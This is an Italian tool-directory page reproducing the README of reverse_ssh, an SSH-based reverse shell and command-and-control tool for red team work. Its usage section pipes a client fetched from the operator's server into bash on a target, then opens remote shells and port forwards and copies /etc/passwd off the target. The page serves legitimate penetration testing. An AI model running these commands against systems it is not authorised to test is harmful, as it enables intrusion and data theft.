Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
reverse_ssh — Strumento di gestione di reverse shell basato su SSH con supporto nativo per SCP/SFTP, protocolli di trasporto multipli, generazione di DLL per Windows ed esecuzione fileless per operazioni red team. | Kitploit
Strumenti/GitHubGitHub/nhas/reverse_ssh
ShellcodeGenerazione di Shellcode
GitHubnhas/reverse_ssh

reverse_ssh

Strumento di gestione di reverse shell basato su SSH con supporto nativo per SCP/SFTP, protocolli di trasporto multipli, generazione di DLL per Windows ed esecuzione fileless per operazioni red team.

Vedi Repository
1.4k184633 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Reverse SSH

icon
(Art credit to https://www.instagram.com/smart.hedgehog.art/)

Vuoi usare SSH per le reverse shell? Ora puoi.

  • Gestisci e connettiti alle reverse shell con la sintassi SSH nativa
  • Forwarding dinamico, locale e remoto
  • Implementazioni native di SCP e SFTP per recuperare file dai tuoi target
  • Shell Windows completa
  • Molteplici trasporti di rete, come http, websockets, tls e altri
  • Autenticazione reciproca client e server per creare canali di controllo ad alta fiducia E molto altro!
                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

  • Reverse SSH
    • TL;DR
      • Configurazione
      • Utilizzo di base
    • Documentazione di riferimento
    • Sponsor
      • Privati
      • Aziende
  • Donazioni, supporto o restituzione

TL;DR

Configurazione

Si consiglia la release del container poiché include la versione corretta di golang e un cross compiler per Windows.

# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh

o docker compose:

services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data

Utilizzo di base

# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Tutti i comandi supportano il flag -h per fornire assistenza.

Poi i tipici comandi ssh funzionano, basta specificare il tuo server rssh come jump host.

# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

Documentazione di riferimento

Puoi trovare una documentazione più completa nella cartella docs. Questa include un cheatsheet, la risoluzione dei problemi e altro ancora.

Sponsor

Un enorme ringraziamento alle seguenti persone per aver donato al progetto RSSH e reso possibile tutto questo lavoro!

Privati

chikamobina per le loro generose donazioni!
wrighterase (ctrlzero) per i loro contributi e le loro donazioni!

Aziende

Carapace è una società di consulenza per la sicurezza con sede in Nuova Zelanda, con un team di persone estremamente talentuose!

Donazioni, Supporto o Restituzione

Il modo più semplice per restituire qualcosa al progetto RSSH è trovare bug, aprire richieste di funzionalità e pubblicizzarlo tramite il passaparola alle persone che pensi possano trovarlo utile!

Tuttavia, se vuoi darmi qualcosa direttamente, puoi farlo tramite Github Sponsors oppure inviando a uno dei seguenti wallet:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

Scarica lo strumento